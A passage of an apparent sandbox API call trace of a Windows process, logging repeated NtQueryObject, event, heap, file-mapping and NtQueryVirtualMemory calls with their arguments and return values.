ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.968] ResetEvent (hEvent=0x110) returned 1 [0071.968] SetEvent (hEvent=0x114) returned 1 [0071.968] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.969] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.969] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.969] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.969] ResetEvent (hEvent=0x110) returned 1 [0071.969] SetEvent (hEvent=0x114) returned 1 [0071.969] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.969] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.969] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.969] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.969] ResetEvent (hEvent=0x110) returned 1 [0071.969] SetEvent (hEvent=0x114) returned 1 [0071.969] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.969] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.969] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.969] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.970] ResetEvent (hEvent=0x110) returned 1 [0071.970] SetEvent (hEvent=0x114) returned 1 [0071.970] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.970] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.970] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.970] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.970] ResetEvent (hEvent=0x110) returned 1 [0071.970] SetEvent (hEvent=0x114) returned 1 [0071.970] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.970] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.970] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.970] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.970] ResetEvent (hEvent=0x110) returned 1 [0071.970] SetEvent (hEvent=0x114) returned 1 [0071.970] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.971] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.971] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.971] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.971] ResetEvent (hEvent=0x110) returned 1 [0071.971] SetEvent (hEvent=0x114) returned 1 [0071.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.971] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.971] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.971] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.971] ResetEvent (hEvent=0x110) returned 1 [0071.971] SetEvent (hEvent=0x114) returned 1 [0071.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.971] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.971] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.971] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.971] ResetEvent (hEvent=0x110) returned 1 [0071.971] SetEvent (hEvent=0x114) returned 1 [0071.972] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.972] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.972] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.972] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.972] ResetEvent (hEvent=0x110) returned 1 [0071.972] SetEvent (hEvent=0x114) returned 1 [0071.972] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.972] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.972] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.972] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.972] ResetEvent (hEvent=0x110) returned 1 [0071.972] SetEvent (hEvent=0x114) returned 1 [0071.972] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.972] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.972] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.973] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.973] ResetEvent (hEvent=0x110) returned 1 [0071.973] SetEvent (hEvent=0x114) returned 1 [0071.973] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.973] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.973] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.973] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.973] ResetEvent (hEvent=0x110) returned 1 [0071.973] SetEvent (hEvent=0x114) returned 1 [0071.973] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.973] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.973] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.973] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.973] ResetEvent (hEvent=0x110) returned 1 [0071.973] SetEvent (hEvent=0x114) returned 1 [0071.973] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.974] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.974] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.974] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.974] ResetEvent (hEvent=0x110) returned 1 [0071.974] SetEvent (hEvent=0x114) returned 1 [0071.974] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.974] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.974] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.974] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.974] ResetEvent (hEvent=0x110) returned 1 [0071.974] SetEvent (hEvent=0x114) returned 1 [0071.974] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.974] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.974] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.974] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.975] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0071.975] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0071.975] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0071.975] ResetEvent (hEvent=0x110) returned 1 [0071.975] SetEvent (hEvent=0x114) returned 1 [0071.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.975] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.975] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.975] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.975] ResetEvent (hEvent=0x110) returned 1 [0071.975] SetEvent (hEvent=0x114) returned 1 [0071.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.975] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.975] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.975] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.975] ResetEvent (hEvent=0x110) returned 1 [0071.975] SetEvent (hEvent=0x114) returned 1 [0071.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.976] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.976] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.976] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.976] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0071.976] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0071.976] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0071.976] ResetEvent (hEvent=0x110) returned 1 [0071.976] SetEvent (hEvent=0x114) returned 1 [0071.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.976] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.976] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.976] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.977] ResetEvent (hEvent=0x110) returned 1 [0071.977] SetEvent (hEvent=0x114) returned 1 [0071.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.977] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.977] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.977] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.977] ResetEvent (hEvent=0x110) returned 1 [0071.977] SetEvent (hEvent=0x114) returned 1 [0071.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.977] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.977] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.977] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.977] ResetEvent (hEvent=0x110) returned 1 [0071.977] SetEvent (hEvent=0x114) returned 1 [0071.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.978] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.978] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.978] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.978] ResetEvent (hEvent=0x110) returned 1 [0071.978] SetEvent (hEvent=0x114) returned 1 [0071.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.978] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.978] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.978] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.978] ResetEvent (hEvent=0x110) returned 1 [0071.978] SetEvent (hEvent=0x114) returned 1 [0071.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.978] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.979] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.979] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.979] ResetEvent (hEvent=0x110) returned 1 [0071.979] SetEvent (hEvent=0x114) returned 1 [0071.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.979] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.979] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.979] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.979] ResetEvent (hEvent=0x110) returned 1 [0071.979] SetEvent (hEvent=0x114) returned 1 [0071.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.979] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.979] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.979] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.979] ResetEvent (hEvent=0x110) returned 1 [0071.979] SetEvent (hEvent=0x114) returned 1 [0071.980] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.980] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.980] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.980] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.980] ResetEvent (hEvent=0x110) returned 1 [0071.980] SetEvent (hEvent=0x114) returned 1 [0071.980] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.980] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.980] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.980] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.980] ResetEvent (hEvent=0x110) returned 1 [0071.980] SetEvent (hEvent=0x114) returned 1 [0071.980] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.980] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.981] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.981] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.981] ResetEvent (hEvent=0x110) returned 1 [0071.981] SetEvent (hEvent=0x114) returned 1 [0071.981] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.981] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.981] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.981] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.981] ResetEvent (hEvent=0x110) returned 1 [0071.981] SetEvent (hEvent=0x114) returned 1 [0071.981] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.981] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.981] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.981] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.981] ResetEvent (hEvent=0x110) returned 1 [0071.981] SetEvent (hEvent=0x114) returned 1 [0071.982] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.982] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.982] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.982] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.982] ResetEvent (hEvent=0x110) returned 1 [0071.982] SetEvent (hEvent=0x114) returned 1 [0071.982] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.982] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.982] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.982] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.982] ResetEvent (hEvent=0x110) returned 1 [0071.982] SetEvent (hEvent=0x114) returned 1 [0071.982] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.982] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.983] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.983] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.983] ResetEvent (hEvent=0x110) returned 1 [0071.983] SetEvent (hEvent=0x114) returned 1 [0071.983] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.983] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.983] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.983] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.983] ResetEvent (hEvent=0x110) returned 1 [0071.983] SetEvent (hEvent=0x114) returned 1 [0071.983] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.983] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.983] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.983] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.983] ResetEvent (hEvent=0x110) returned 1 [0071.983] SetEvent (hEvent=0x114) returned 1 [0071.984] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.984] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.984] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.984] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.984] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0071.984] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0071.984] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0071.984] ResetEvent (hEvent=0x110) returned 1 [0071.984] SetEvent (hEvent=0x114) returned 1 [0071.984] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.984] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.984] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.984] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, 